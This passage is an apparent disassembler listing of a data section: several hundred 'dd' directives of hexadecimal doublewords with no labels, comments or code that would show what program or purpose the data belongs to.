		dd 0F96B257Bh, 46D62054h, 67491815h, 9C0C59BEh,	652D9DB7h
		dd 46BD71CEh, 903B01Ah,	19022FA0h, 75257871h, 3C09DF37h
		dd 25B166BEh, 98648E0Fh, 62A532B4h, 1859FC93h, 2050AB29h
		dd 1356F54Ch, 71AA0291h, 2B880FECh, 2E00938Ah, 0D54EA313h
		dd 0D8008652h, 9F5D9B2Dh, 1248B13Ah, 0E2E47179h, 2CB95B3Bh
		dd 0F30101BCh, 17A159B7h, 177A2D82h, 6AF8A8CCh,	27DE0052h
		dd 0F65C0569h, 241446D6h, 4D02AA98h, 0D94C46D0h, 6096809Dh
		dd 58C88B53h, 0EE0FB098h, 7F506178h, 0A7FF5125h, 0CB3999E4h
		dd 84120016h, 941A6F9h,	0D2DB0F64h, 5AC1F04Ah, 2E8F0F61h
		dd 96958837h, 0D96D64FFh, 2EDA7FC9h, 0C9C018C8h, 4B201DC5h
		dd 4F3F8A75h, 9B4B07A9h, 8B0496B6h, 0CDFF0CCDh,	83827A11h
		dd 0B650042Eh, 0E5E30B44h, 351CF56Bh, 0FC0E49Fh, 0A437AFE6h
		dd 2D6A7C60h, 0D84BADA5h, 0D6BB5400h, 95346404h, 0B7AD455Ch
		dd 9462016Fh, 912DF337h, 0E85EC9B2h, 7E13AB69h,	8079EC28h
		dd 2C4FF843h, 0D47C001Ah, 41789750h, 1A98F0EBh,	0EE3AE70Bh
		dd 0E3A8801Fh, 4B9BF455h, 6C598D70h, 90D31421h,	0C4318E4Eh
		dd 74AB0FA9h, 0E0BAE63Fh, 3EC110FFh, 0EC89399Ch, 85F0533h
		dd 0DC60DD29h, 3B0ACF28h, 780019B3h, 5FA7D3CCh,	909AD6AFh
		dd 38AA054Eh, 45C13668h, 0E698529h, 943752Eh, 0F0C1A977h
		dd 3AA72BC6h, 205CFCA1h, 94B43D2h, 9A5A458Fh, 0F54B80B8h
		dd 5E1A3CB9h, 8253B88Bh, 0F5F42DE9h, 3F4049CFh,	25BC5CC7h
		dd 0B0DEC18Bh, 0ABC701DCh, 15EEF1A1h, 0F5FFE8B8h, 0E408BF04h
		dd 0A9BA2A25h, 3C39A9A1h, 0C7B34787h, 0F2BE3061h, 0F54F9FA3h
		dd 0B728D6FCh, 0B73175ECh, 9ADD00ABh, 76C65F8Fh, 28BEA900h
		dd 216343D1h, 0CE3801AFh, 71739193h, 0C9A1D4DEh, 5F6293B4h
		dd 1DB7776Ah, 0CDCB5786h, 57EB33Ch, 0BF45BD23h,	2C2DC621h
		dd 17900E04h, 197419C9h, 0B27200DEh, 9E9C7087h,	1B0497B9h
		dd 165DB529h, 0A5C244FBh, 2CDAA23h, 0FD8A8F10h,	34B73B50h
		dd 80EBDB5Fh, 0BFCA476Bh, 60281A58h, 7C83462Bh,	0D092A5Ah
		dd 0D5A0FABBh, 25213B6Ch, 7E41C816h, 8C1B2C00h,	0E31913BFh
		dd 0D1FF2F53h, 6BE013CDh, 314B2B1Fh, 0F61B07E9h, 0AFC6EC85h
		dd 9819717h, 0A8DF12BEh, 2271E273h, 4462026Ah, 908FC95Dh
		dd 54007073h, 7899A551h, 0FE000463h, 2A6C97B4h,	143CD946h
		dd 0C9DA6EBAh, 1DD99021h, 95003918h, 0E103567Ah, 5A520782h
		dd 0B249A610h, 70853114h, 2340ADE4h, 105D25E9h,	2192C065h
		dd 0F3A66412h, 996040F0h, 0F8922D02h, 0DF0D8D29h, 9784104Ah
		dd 0BB52000Ch, 5B15444Eh, 81E08759h, 6A5FA6D2h,	1BB217B6h
		dd 8D01E1EEh, 1943A707h, 0ECEAF04Ch, 42B32F90h,	16D88B7Bh
		dd 0A4230F3h, 29CC18B2h, 154A4FB0h, 1894C7B2h, 0D04474C0h
		dd 9C5B7216h, 78CE5EE8h, 0D1ED2C41h, 0F3252B2Eh, 35E8B7F9h
		dd 0D7A5EF0Fh, 7FB8E01Ch, 4F66B351h, 4F94F35Fh,	0DD2A80E1h
		dd 0DFB31A05h, 7CF378C0h, 4B2C9F7Fh, 65FB00Ah, 7C76569Dh
		dd 7B94309Dh, 3C93767Eh, 578B2C6Ch, 538291CAh, 6CFD2111h
		dd 2B8C004Dh, 0EF1BAD26h, 6002C9ABh, 1F3D7688h,	1024FE8Dh
		dd 0CC5B2530h, 1AA203Fh, 31B9E083h, 2E8BC1B0h, 0C62EEFDh
		dd 0E6021FF5h, 92927D70h, 80EC715Dh, 6AFBC1A9h,	0A302E132h
		dd 0A58629D4h, 23B6608h, 27EF4776h, 6AC0B34Ah, 909771E4h
		dd 12C956E1h, 0E4DF7865h, 9BD15D72h, 0CC870139h, 0C41E5F50h
		dd 4C7D287Eh, 0C71D4217h, 822CDBB0h, 0C8B6F602h, 1512F174h
		dd 205F91E6h, 0C6F6C57Ch
		dd 0BB374C03h, 0A00A472Bh, 456677Ch, 0A69BD5BFh, 12A0B869h
		dd 2ECD820Fh, 1427FB2Ah, 0BB645779h, 0C2F8E00Bh, 13EA005Fh
		dd 92085FDh, 0C8B8270Dh, 0BB2EB970h, 68A52E33h,	0FE2BDEA1h
		dd 0EE810260h, 6D7437B0h, 0E50798DFh, 0A1200109h, 270C4F58h
		dd 91EFD881h, 5A839700h, 4496BF61h, 8B4B163Ch, 9D9204D1h
		dd 0B5E9062Ah, 25297A45h, 0BFC42375h, 4947551Dh, 8466DF8Dh
		dd 0D8BE142Bh, 9A6E7AC0h, 0A3719605h, 0DC5F5E00h, 0F333B286h
		dd 0D8381AC9h, 82DF349Fh, 0D5053985h, 24B4C11Bh, 401689ABh
		dd 0E9A35137h, 0E4C86A4Bh, 0B5A87DE3h, 0D997A25Bh, 72CCC8C8h
		dd 719903FEh, 6A6E404h,	8AF3B894h, 0F7842644h, 0DCAACE69h
		dd 0E458642h, 0BF80BA38h, 0AD58DF9Ch, 1CEB4D0Bh, 8B740818h
		dd 413F949h, 0AEEEF56Eh, 0D3C083B9h, 61978FDAh,	0E0623C12h
		dd 920B12F6h, 0D318ABh,	68C86979h, 165B3957h, 0D9EFC72Fh
		dd 0B4AAC541h, 829C7B51h, 32E81BE1h, 7963205Bh,	561AE52Dh
		dd 1A52DEF9h, 25F65E38h, 2D3AF82Ch, 0B9587276h,	0B42FD5Bh
		dd 4368F549h, 0B79FFCE1h, 0D969006Eh, 765B778Dh, 7336FE09h
		dd 99442Ch, 99C157DEh, 1A3EF8DCh, 24494600h, 0CDEAAF03h
		dd 0B5E001A3h, 5FFACF80h, 0C32520FCh, 5B9D6A75h, 8553F84Eh
		dd 140C82A1h, 0C258E8ABh, 55200DB5h, 0B5276F79h, 20710000h
		dd 583DD979h, 56B3FB13h, 3E6F21AFh, 0C685E436h,	0AA289100h
		dd 0B9E1E59h, 2D087CECh, 0C45C5417h, 0DAEB5B65h, 13A548B9h
		dd 60FE10E5h, 6CA74A5Ah, 4D3C1A04h, 348C0724h, 0EF59031Dh
		dd 6A80AFF9h, 53885FDBh, 0EBBD8D89h, 880DC998h,	0B3DAB73Ah
		dd 89E8E20Ch, 0E9BAD539h, 0DB667Dh, 0ADC4B5F4h,	2F4EDD01h
		dd 0A02A9E00h, 0BCEE264Ah, 845F50B0h, 0E6035EADh, 301DF2E6h
		dd 7F00C1C5h, 0FD977B4Ah, 0B09874E1h, 221525C7h, 3CACE7E5h
		dd 272900D6h, 6416BA94h, 0E59512EEh, 4C73E95Fh,	0F3F01D51h
		dd 39351396h, 8084DB4Ah, 4F2AA7B8h, 13D9EACEh, 0A2F86DEEh
		dd 0A5888816h, 1A4A36F8h, 0F85B80F6h, 0E7E3E17Bh, 32B307Bh
		dd 619A959Dh, 70F75B4Ah, 0D6A8E35Dh, 0C9CD0803h, 8A953102h
		dd 73F15510h, 0A08B8380h, 25510AE5h, 0B7FFE1FFh, 7DF00070h
		dd 6D9072C2h, 7D0EFC4Dh, 0A5B8065Ah, 6F5F76E2h,	0A6DD605Ch
		dd 8EA073EDh, 0BFBEE2CCh, 5EAC6952h, 0AB93335Eh, 0EB07C6D9h
		dd 0BB070CD4h, 1855A20Ah, 0ED51A374h, 1C5BD2h, 5FB824F0h
		dd 0C37731B6h, 88D96A00h, 0CE791F89h, 0AAFE2782h, 0E6A180C6h
		dd 60AC34C5h, 6F782E9Bh, 85F94EF6h, 3F6EEA98h, 2F41200h
		dd 0E8D2D5CEh, 457A0084h, 7B17609Eh, 6F000E22h,	15EBE437h
		dd 1266DC33h, 0AE9646BFh, 6EAAB253h, 954F04C4h,	0CCF15330h
		dd 1C73D82Bh, 23359786h, 6E32F903h, 8C9BAB22h, 0F5C0D0B8h
		dd 0BABBCB81h, 4613C027h, 9BDBECFh, 0A1D26C2Dh,	0AB9FBF05h
		dd 3EE144E9h, 0A68F0Ch,	546308BCh, 1845A1Fh, 9DD85600h
		dd 53197F26h, 0F37EE35Bh, 0CF872CC7h, 0C075CDCBh, 9D2BD191h
		dd 4D7D2BFh, 2A77068h, 0EC5B872h, 0F41DA48Fh, 7E4F25CEh
		dd 0EBAD1237h, 8501167Bh, 89377A5Ch, 6A79219Ch,	8EB1BB27h
		dd 0E62A1B53h, 301BB2D3h, 93026FEAh, 62B4CB20h,	40E874E8h
		dd 81DEEF68h, 0E5033A00h, 61F1EA4Bh, 0B6780B56h, 0E9724054h
		dd 0D2CEE925h, 5D851043h, 0D7F8A20Fh, 0E18DA230h, 0B9961F42h
		dd 45FB852h, 7428EBD9h,	5B18E9F1h, 0BF92FB9Eh, 1448FAA2h
		dd 0F8EEBF02h, 3274227Fh, 3CB5EBh, 4D96D75Fh, 13047666h
		dd 89A279CBh, 0EBCEC5ABh, 60973DDAh, 856741DFh,	8620964Eh
		dd 7BD13114h, 30F7120Ah, 0A32DAE05h, 0FCD69E2Ch, 0B87CA0DBh
		dd 82310047h, 65C5A137h, 5F2D516Ch, 955B505Bh, 1664FDCDh
		dd 0BBB2267h, 5300B0F8h, 8CFC683Ch, 380F648Dh, 604E2B82h
		dd 0CFA322F0h, 69075F1Ch, 0D0DCF1C0h, 202A23Eh,	8BD844BCh
		dd 0DB7187A7h, 609F2300h, 0FF9BD0Eh, 50667F4Dh,	5BC19CE2h
		dd 8F03DA48h, 6D64922Dh, 87AC14Fh, 0B73030C1h, 0A58CDB4Eh
		dd 2EBE0560h, 0C13F09A5h, 81DE2h, 0EFB75061h, 25014C34h
		dd 7C4259BDh, 910835D7h, 20EE931Ch, 79B36AA6h, 67B07A4Eh
		dd 0F87BC911h, 3F851C57h, 0CA4B52BFh, 533D2777h, 40B6D828h
		dd 0B958004h, 4FA8F5Dh,	0BB2EE958h, 0B73CDCh, 0D235D49Fh
		dd 0CE661514h, 40B4B10Fh, 6BAE529Eh, 3017E26Bh,	9E2E3C1Dh
		dd 0F90977D9h, 0F402742Ch, 416B5E00h, 0BC78AC94h, 0EB80131Ah
		dd 8592A21Fh, 0D5F904EDh, 0E7DC0E80h, 0FC4C3227h, 4EFD38CBh
		dd 0CF1050CEh, 0D6B65A04h, 267DBD08h, 6046CD72h, 964B61ACh
		dd 859D8909h, 0AF8AD30Bh, 0A9C4C58h, 0D6A65C2Fh, 735AB19Dh
		dd 0FE80DC3Ch, 53C9BC9Dh, 24337D0Fh, 1340FDDDh,	566DF238h
		dd 4F950A1Ch, 1B855003h, 0FAE53704h, 34897581h,	286F7Eh
		dd 877BDAD7h, 12766C23h, 0AABD03C9h, 0CD4E7ACAh, 27BE6889h
		dd 0A0DF4E04h, 0AA3B5FE4h, 5DFB5D9Ah, 169F8AD0h, 0B937C041h
		dd 77A9D3DCh, 26AC2AA9h, 2BCBF5D2h, 8B6EAFh, 0A49C36F1h
		dd 1421FFE7h, 880C2833h, 0AE0A7D13h, 17230D6Fh,	15C77E00h
		dd 2D950137h, 0B8591961h, 0CDF6E225h, 0F6CEE0E4h, 0EA0790F9h
		dd 249CBB48h, 16B1537Eh, 5325C096h, 0C19AAB02h,	43289893h
		dd 89EFF3BDh, 0EE02526Dh, 0D5090581h, 161113B7h, 0BE968684h
		dd 813C1FA1h, 4C504B1Ah, 50E345F7h, 54C2FFF4h, 0DC6179EFh
		dd 90114085h, 2A04BF32h, 5BA2CB80h, 0C8379AEBh,	0BBB3C01Ah
		dd 150077A7h, 8B961967h, 946050D9h, 0E0FF4782h,	717C0D5Fh
		dd 67F5B103h, 0E064AD39h, 571484h, 3665B966h, 61B5B25Fh
		dd 0BC25965Dh, 0BEC7FE7h, 0E6E38084h, 77BD89A2h, 0D45EA8ABh
		dd 53EF0CF6h, 401508E9h, 52E8700h, 36C52822h, 0A5B51389h
		dd 4E74B725h, 0F912EDA8h, 80DBAD31h, 0DAA6F02Fh, 7379B5E4h
		dd 0F4BD9E64h, 0F7F03AEDh, 0BFBD0026h, 3E97CD95h, 53B66096h
		dd 0D918CA43h, 24F00C70h, 0FD1E0016h, 5C755762h, 60EA718Ah
		dd 50596102h, 5548B352h, 60C12FD9h, 11D5BA66h, 7A2E892Ah
		dd 6C81A7B3h, 455F2FB7h, 14686FEDh, 0D3A0B778h,	0FBE125BFh
		dd 778C040Bh, 0FAFC0818h, 549CD1BDh, 0DC85E11Fh, 30EBF412h
		dd 918D0187h, 3CEF0E52h, 9C26A095h, 0A7132EB8h,	44957D46h
		dd 5E0F0FB1h, 0BBE52193h, 0F3C2BF13h, 6A5F0519h, 9152359h
		dd 7A01C759h, 3B8E92DFh, 0D952A732h, 0C47F00CEh, 1E8E65AFh
		dd 7B019998h, 886E188Bh, 0C5440D04h, 0C95FF3BAh, 5B568751h
		dd 12DD9DE1h, 0F4E7F66Ah, 45DEC9Ch, 624A14B9h, 11D8EC2Eh
		dd 27000AE9h, 0B91FC9E0h, 530EE8E6h, 12C65C12h,	0B7BCFDBDh
		dd 4CBCA14Eh, 2EC308E5h, 5DD7E909h, 0BF1F3C50h,	0C1D42FA1h
		dd 377D37FDh, 3D64C25Eh, 0DECED419h, 0F58D1616h, 0B5162913h
		dd 4BE8FBBDh, 0D2DC6B02h, 9805A595h, 0D1BB9Ch, 26FA9C6Ch
		dd 3F5E839Eh, 806F9C8h,	19226230h, 53CAC900h, 0AEA27274h
		dd 0F8B904A9h, 0B30FE280h, 0DF2D6978h, 2A801537h, 0BFEF6F76h
		dd 0A3E01441h, 0C22DB105h, 35081FD6h, 5A852815h, 0BD54D1ADh
		dd 17AD3395h, 50A72361h, 0AF291FA0h, 19CCF064h,	0B65F17BCh
		dd 0EBC000BCh, 7F3EACF4h, 0FE583F99h, 0A2BF2500h, 0C616077Ah
		dd 0B4AAA000h, 1E922D3Bh, 0B5290049h, 0C08DB93h, 840136D6h
		dd 8748DD67h, 22D07EA8h, 5DA20063h, 23F033E5h, 0EE007928h
		dd 1AD5F3B4h, 0BE16036h
		dd 22020B69h, 1D6E6D80h, 2C0064B8h, 1A06869Fh, 0ACF9A6h
		dd 5FC1BB7Fh, 4D19FC27h, 0A7E4C860h, 70A464h, 1873969Bh
		dd 10F3741Ch, 195ABC1Eh, 0A3FF0F7Dh, 5C442712h,	7C012850h
		dd 0DCE830DAh, 0BC60A554h, 8B3BC971h, 3E6680F3h, 3AED31B6h
		dd 1FE97115h, 6A18EC3h,	182CBAD8h, 8A145F3Ah, 0D61EC534h
		dd 0EB733C00h, 2618E2AFh, 302897BBh, 2870A810h,	5C010703h
		dd 3009B3CFh, 0C8219409h, 0FE002868h, 0C9702C10h, 1EF4979h
		dd 9A9D4FD3h, 871E9CD5h, 81188828h, 0E806D847h,	7CB0011h
		dd 0F362704Bh, 6A661CACh, 7521FF09h, 484B01ABh,	0F535B08Bh
		dd 98C880E2h, 17E9CF38h, 9C5C305Eh, 6D8819D0h, 38B20330h
		dd 0D5CFEBh, 0E438B6DBh, 0CC30EF3Ch, 21C808CCh,	0DBDD0FF4h
		dd 70072EAh, 0AD77426Dh, 0B0D28A31h, 84407161h,	50E14414h
		dd 0C5039029h, 7EA3BAh,	0F13A64F5h, 0E80F278Bh,	0A081B0BDh
		dd 3BCD97DCh, 5B2B005Fh, 314C4B6Bh, 27004E86h, 0BDE70DAFh
		dd 88C68Dh, 0EA668A50h,	1A56B476h, 0FB184200h, 68B0717Bh
		dd 6C4D00B3h, 0D5D4523h, 0C000B35h, 7241238h, 4839FDh
		dd 526D374Bh, 2D7F09D6h, 0ABB94700h, 9FD9C713h,	59100B1h
		dd 0E49CDF55h, 4700DCD3h, 29511AB0h, 1ED6079Eh,	0C06BC7C4h
		dd 8CCF6C71h, 0A438E6A0h, 42AA0023h, 37A9F96Dh,	562D0047h
		dd 308B571h, 0ED000A8Bh, 0F7B6EE73h, 0BFEC7Bh, 9C0287C9h
		dd 3C037C8h, 907468E6h,	0B53A4478h, 15FD009Ah, 964B22CAh
		dd 53FC00D0h, 26D954F5h, 19C05245h, 1002DF7Eh, 3C5E7C14h
		dd 84147A60h, 0BA06F0A1h, 2839FA5Dh, 0BC55030Ch, 162D61B9h
		dd 0EA662486h, 15B48003h, 9640A811h, 0CC4500D3h, 3D2812FDh
		dd 30C3D489h, 215F9990h, 0D700E128h, 23ECA2BCh,	2CE0063Dh
		dd 78CF8CAFh, 0FC503206h, 86D160D8h, 697C311Ch,	9CE07719h
		dd 0A864FC0h, 4298875Eh, 2526063Ah, 1AC02FFAh, 21339880h
		dd 0A1115C15h, 13D1D600h, 8DEAD4E1h, 5CAE2B01h,	5A1A506Ah
		dd 4032080h, 44EC107Eh,	153639h, 0F09F2645h, 181DB293h
		dd 0B15173FBh, 7900626Ah, 0F38AB72Dh, 74EE27D1h, 0E3F90CD3h
		dd 73515268h, 2E313A67h, 25D9BD61h, 0DDFCF0h, 452C9F2Bh
		dd 0EC3B9382h, 0F8E87E0Ch, 883D7884h, 85019B78h, 0F0E3CCFAh
		dd 0A0410752h, 7E10135Dh, 0D0507CD7h, 0C500DF98h, 0CBBF3EF0h
		dd 109B3Ch, 75DF292h, 3B9D8068h, 0DFFCE90Ch, 0E4B47929h
		dd 240450C6h, 6F52889Bh, 3C738000h, 0B0E43B2Bh,	5C8E2825h
		dd 0D0A501BCh, 86A15FFFh, 585BD484h, 7E143615h,	8FDA04A0h
		dd 3888BAB0h, 112142FEh, 0A3CD5BBh, 930FEF0Ch, 0CE18B011h
		dd 389A8499h, 0C711333Bh, 2100A608h, 6199D6D5h,	0DBBC2Ah
		dd 0F563A719h, 551AE631h, 0F8EFB4A9h, 130051A8h, 87CF16Fh
		dd 1A2B6DEh, 0C9E50247h, 83926273h, 0BE455050h,	93983E27h
		dd 1DD0472Ah, 920E4Ah, 5174D5D4h, 340F406Eh, 4084F44Fh
		dd 69F6875Dh, 2097031Ch, 0BC648FF2h, 9136E803h,	232538BFh
		dd 0CC05EDD8h, 0B2848699h, 20B96C22h, 6099D4D7h, 31A4070Fh
		dd 553661AAh, 218396B6h, 40DB8629h, 91EC05F8h, 7C486090h
		dd 0FD578728h, 0CB0E7E1h, 66B858CCh, 213F08D4h,	40E57C00h
		dd 0F499DE67h, 50BA0006h, 56B8FEDFh, 0B23E4EABh, 87448EA8h
		dd 90401288h, 0F8FAECE3h, 5B180C7Ah, 8098294h, 14C321C0h
		dd 0F2FE17FAh, 1BC100D4h, 6CAF7748h, 2B199D42h,	0D0A840BBh
		dd 0E1F6FB18h, 11FCB023h, 0E37A004Eh, 0DBEC6F40h, 38E404A3h
		dd 973AEE5Dh, 1727A038h, 0B00AFBC1h, 0C303645h,	2CC66004h
		dd 20822C82h, 0B04678F6h, 3FCE2D13h, 309B1447h,	0B49F68C0h
		dd 73EA2410h, 5BA63CB0h, 8C448A64h, 0FAE7C080h,	0F0467AFDh
		dd 0C6021722h, 1AECFAEFh, 7F3C4854h, 41FB012Ah,	9BD34FB4h
		dd 94EFEC6Dh, 59023B02h, 91BD55D9h, 1FD4C9E8h, 78D1803Ah
		dd 2A04914Ch, 0B20D843Dh, 0B8338E45h, 25E09CC1h, 6424506Ah
		dd 4630903Ch, 99C802E9h, 31CF2982h, 0D0D310A7h,	62E90099h
		dd 0D9B83C88h, 7A261193h, 0EA1A042Bh, 0D4D80479h, 0E540FF60h
		dd 111CB023h, 827E3D4Ch, 898DA640h, 658CA0F8h, 3ACEDA4h
		dd 522A28Fh, 88AA3C0Bh,	78B69C90h, 0B1116839h, 0A5FD1A66h
		dd 29D8F261h, 0C48705A9h, 84CA24AEh, 5BAC40ADh,	0ACB61BD7h
		dd 0C878101h, 0C883A39Dh, 4C19B4ECh, 8840ECBEh,	0CB048C14h
		dd 0C7297F99h, 0D020B862h, 3999D3h, 0F48BAAA8h,	0EC334A2Bh
		dd 50FAC532h, 0A1044458h, 0E6188D0Ch, 7AFEFA08h, 0EEC570C8h
		dd 2C72FA00h, 0C704E67Bh, 0E07D4878h, 246C2310h, 0F5748CFBh
		dd 8000E518h, 74C43B59h, 58FE6E2Dh, 84407877h, 23C030E8h
		dd 0C9D9B7B8h, 0DFF09102h, 6817B124h, 7342E4h, 9404C139h
		dd 584413EFh, 35057001h, 0C3F6ECD7h, 7E2D4083h,	583D7AFFh
		dd 1A138031h, 78342A5Fh, 635CAD84h, 0BBE8CCFDh,	2B09307Eh
		dd 21526F6Eh, 0F988FA7Ch, 56019C57h, 69E41BC5h,	104301FBh
		dd 2847362Eh, 48A4D9E1h, 9A0020DCh, 752A4F0Fh, 1A1E040h
		dd 0B07A8630h, 0D4672FF4h, 117E54C0h, 0BC99AB2Ch, 63003391h
		dd 0EE078D98h, 0DE775E83h, 938EFD3Dh, 38545052h, 184420BCh
		dd 3937D6FCh, 13608998h, 36E850A9h, 0D2EC0F40h,	8CA0D309h
		dd 0F8BA16FCh, 0A2944200h, 7A934BD1h, 805C59AFh, 2082B800h
		dd 6DE3B2CEh, 3D9A938h,	0E629DB02h, 0AF9AF0D7h,	361CF7Fh
		dd 21AF980h, 98A09E1Fh,	0EA813DFFh, 0E2DAC30h, 82933BD5h
		dd 0E4DCDDE0h, 0E8B8B0FAh, 0D805340h, 0FC883B7Ch, 4D98E751h
		dd 0F006585h, 0B74979A3h, 0C690C7Eh, 0FB896286h, 0A403A229h
		dd 0ADCF2042h, 98CD83DBh, 0B88DD01Fh, 86AF1740h, 2C4400D4h
		dd 4E2A71E9h, 757613Ah,	0C963095Bh, 0A6DCEED0h,	84050E7Eh
		dd 6C8C7F6Eh, 0B13B9821h, 0DA40019Fh, 739D15Ch,	9E3DB0FFh
		dd 0C4B8015Dh, 0FBFA5AA4h, 330802Fh, 0A140428Bh, 25560605h
		dd 81EAD57h, 6A217460h,	0BE404Ah, 7E77646Ch, 5262ACD9h
		dd 171271C0h, 0B68E3Eh,	94D02F3Ch, 0C94EDF16h, 38F7A1Ch
		dd 8091BE41h, 35CC4DC5h, 0EF2A005Dh, 17DF9332h,	2F30CC49h
		dd 0DD02685Fh, 0A86160C2h, 0AC54E5BEh, 2B023376h, 0AFABE8CFh
		dd 1FFE3A5h, 73870920h,	4ECBF04Bh, 0AF651120h, 0C2C1AD80h
		dd 8A00FE39h, 82F1E6D2h, 0C09BFC24h, 0BA8F69E9h, 2D03B656h
		dd 80BB3F9Fh, 0FF4EB82Eh, 0EACF0062h, 0A014DC8Bh, 0BF007116h
		dd 3E31469Dh, 30245EE2h, 0A589CAD7h, 0B0ACF35Ah, 15DD454Ch
		dd 88B0EE05h, 4CC1809Eh, 169B1840h, 2B7CAE98h, 0E9D79101h
		dd 80672895h, 8E6031E3h, 0E371DC31h, 633D2903h,	0A76DFCC4h
		dd 0FDA482C0h, 84503CBh, 62426B1Eh, 7D0189EEh, 0E8386107h
		dd 0C44736F5h, 32C5A50h, 7494002Dh, 0E4DD1913h,	1FFC738Dh
		dd 117268CEh, 0EFA22900h, 8EA08247h, 988A5F19h,	21803C08h
		dd 88EFAAC0h, 200946DDh, 27E5E9Bh, 41143406h, 4318F938h
		dd 5AC400Ah, 6B70881Eh,	0BB400E4Bh, 70F1DB9Bh, 5849E818h
		dd 0A09A01B8h, 0A45A3488h, 1EF646B8h, 5DE4046h,	77511E3h
		dd 9D404E6Eh, 67DE228Fh, 0E556C062h, 60916055h,	4C8A3916h
		dd 63CB33Ah, 0CBDE9BFFh, 0D5823F89h, 5097EA0h, 55E20Dh
		dd 9284E338h, 5907025Eh, 5A71DF9Bh, 0A4049042h,	0EFA560B1h
		dd 88822344h, 0C3002811h, 6923EFADh, 1E002A41h,	0DABCDFDDh
		dd 3CA08473h, 0CA0451D9h
		dd 949F868Bh, 4A1082C0h, 0F2F8B531h, 22C646DCh,	0DD440167h
		dd 5DD2EB9Fh, 0EB43EDD9h, 9283F680h, 53615805h,	94043501h
		dd 3488722Bh, 0CF051F1Eh, 36970028h, 5C394DADh,	82F63201h
		dd 0D264DA22h, 111A092h, 0D824B0F0h, 0FAB85084h, 93246246h
		dd 0D240442Ch, 0D2A044Bh, 83FCC35Ah, 1C92F429h,	28164E00h
		dd 4B01D010h, 806E0013h, 14D968DAh, 601EE78h, 0AD09F05Ah
		dd 0A9805F22h, 0C81AEB7Bh, 370C1511h, 8C5DA2Eh,	1D21C380h
		dd 0C09C1AF3h, 7569839Dh, 245FC224h, 359AE42h, 31B20E84h
		dd 700E88Ah, 0E80725A0h, 0F4405211h, 0E57D3A43h, 0B9053C01h
		dd 0B1DA669Eh, 811430F8h, 80590024h, 15F094E9h,	30F20944h
		dd 6F19CFCh, 0DA00635Fh, 32D3CD60h, 4CAF0A82h, 0C101B626h
		dd 0EAA8D1C9h, 32EAB97Dh, 29FE88A4h, 732C8582h,	546FB484h
		dd 1F72384h, 5A24041h, 8877184Eh, 13B0496Dh, 7DD15350h
		dd 9BCAA601h, 268DE951h, 263D3C30h, 12408C8Ah, 940C0849h
		dd 15861282h, 0FCF06064h, 0ABA0A8CCh, 0C67C2868h, 850A02ECh
		dd 399AA505h, 0DBDDC868h, 0B03CEC24h, 31795B03h, 31299BD1h
		dd 0AE60DE68h, 0A2F1139Bh, 0C8F0B393h, 4611B21Ah, 588322C5h
		dd 0FE00E31Bh, 0A95EB435h, 0BD31BE17h, 5283A02Eh, 228D9452h
		dd 4F40D3ABh, 100C5D92h, 498E0156h, 23080AA4h, 9B0EE27h
		dd 10024883h, 0D2005A3Ch, 7998DFE9h, 5D1B80DBh,	5ACE58C4h
		dd 7B6AE24Eh, 0CEF11D4h, 3044D2E3h, 6487198Ch, 52577026h
		dd 0EF30A974h, 11B4111Ah, 808188F5h, 0F41AF719h, 5790A223h
		dd 0FCFA2709h, 91849F0Ch, 96A28173h, 3420120Eh,	2A32E6BFh
		dd 0AD505AD2h, 25AC60B4h, 0B90042D0h, 0AABD1BD4h, 61F1AD68h
		dd 6ADB7986h, 648CC8BAh, 36029700h, 256C428Fh, 0A846861Fh
		dd 0C91AEE02h, 8E311D11h, 1AF61E10h, 0E9B53403h, 0A5C0756h
		dd 4829419h, 84003CC4h,	0DEB723EDh, 24183993h, 4918083h
		dd 1C625D0Dh, 0BEDCD124h, 4A1A0C01h, 8082FBE9h,	932D5429h
		dd 1D9A2789h, 0F022385Ah, 0D95F8B69h, 0DD0AEC77h, 0FC44CB1Bh
		dd 80B9398Fh, 72B4A1EFh, 4E163A69h, 3826E00h, 0C2F519D0h
		dd 0A3806C01h, 0E3A0A820h, 582DD8C0h, 67003082h, 2CF14AD4h
		dd 13000C2Ah, 584CDF42h, 0C93EDC5h, 0CC9FD1D5h,	0BE3E1640h
		dd 38100D2h, 62DF5B32h,	0FE3F005Dh, 0BBD57DF1h,	0A00194BDh
		dd 9BA37317h, 50240113h, 9D209F9h, 0C405386Dh, 0D1848142h
		dd 9B870136h, 88DB8020h, 0B6240504h, 0CD86E849h, 2285595h
		dd 1DDE45EBh, 74C4A37Dh, 18F57C98h, 45EF08A0h, 33C47082h
		dd 0EFA8C640h, 580C6A35h, 193E179Bh, 0C85C5462h, 65E034h
		dd 2D5D16Fh, 172006FBh,	2A954E12h, 0AA43F400h, 7CD2F7B8h
		dd 99B618EAh, 0E9DA1875h, 0A459A92Eh, 4E5C1689h, 9C754124h
		dd 0A42CA238h, 0EDDD8287h, 0E19E05Ch, 70CBAA05h, 0B72734C1h
		dd 0C8682942h, 0E720213Ch, 90C818C7h, 0AB87DB11h, 9882C2EFh
		dd 0C9112E31h, 0BE0E3093h, 0AE250C00h, 47116051h, 3509E48Dh
		dd 8E024F5h, 0F2C0949Ch, 4611B51Ah, 0FC8622FDh,	222E4FAh
		dd 648D4E68h, 241AFAEh,	15602040h, 8C45B0A0h, 3C900782h
		dd 39A6F9B0h, 6ED50BBEh, 84823250h, 0A8AB1AADh,	29659002h
		dd 4C79FE00h, 5CD931DDh, 32F53A10h, 1FC2354h, 5A34044h
		dd 0B00828E6h, 0B4043C0h, 561505D9h, 0BD58282Ch, 10567C41h
		dd 5C6C9458h, 68049E46h, 0B0F20E65h, 0CD1A3490h, 41587875h
		dd 0CB0805E4h, 344BA203h, 27FCDEDh, 0CC1AD220h,	48E0DACAh
		dd 3AE2F106h, 4910C4A0h, 0D53EEF00h, 0DA702928h, 42781Bh
		dd 0A57662ACh, 22C285B6h, 80A33C3Bh, 7DD5EBB7h,	0E2BC56Ch
		dd 94536F9Ch, 1FBB8FFFh, 0B0F226E0h, 61FB157Ch,	3592F098h
		dd 5107E67Ch, 0B92C2523h, 5B24D240h, 0FD96008Eh, 38B38FF2h
		dd 0B674E73Ah, 78216260h, 9E9516h, 77AF1809h, 65912256h
		dd 2CA0FD0Ch, 1026026h,	6D23BBF7h, 8E53E6B3h, 0DA0FC68h
		dd 48A02046h, 38BE2010h, 28B0C41Eh, 0ABCF0CA0h,	0D019216Eh
		dd 645F020h, 7B2D2408h,	0B20741D6h, 6711F8FEh, 4F275FD1h
		dd 0BE0831DFh, 0E4D61421h, 0A000AF71h, 7295FE4Bh, 41E290CEh
		dd 8088A0A2h, 52ABD10Ch, 1FF0705Ch, 888E63h, 753670F1h
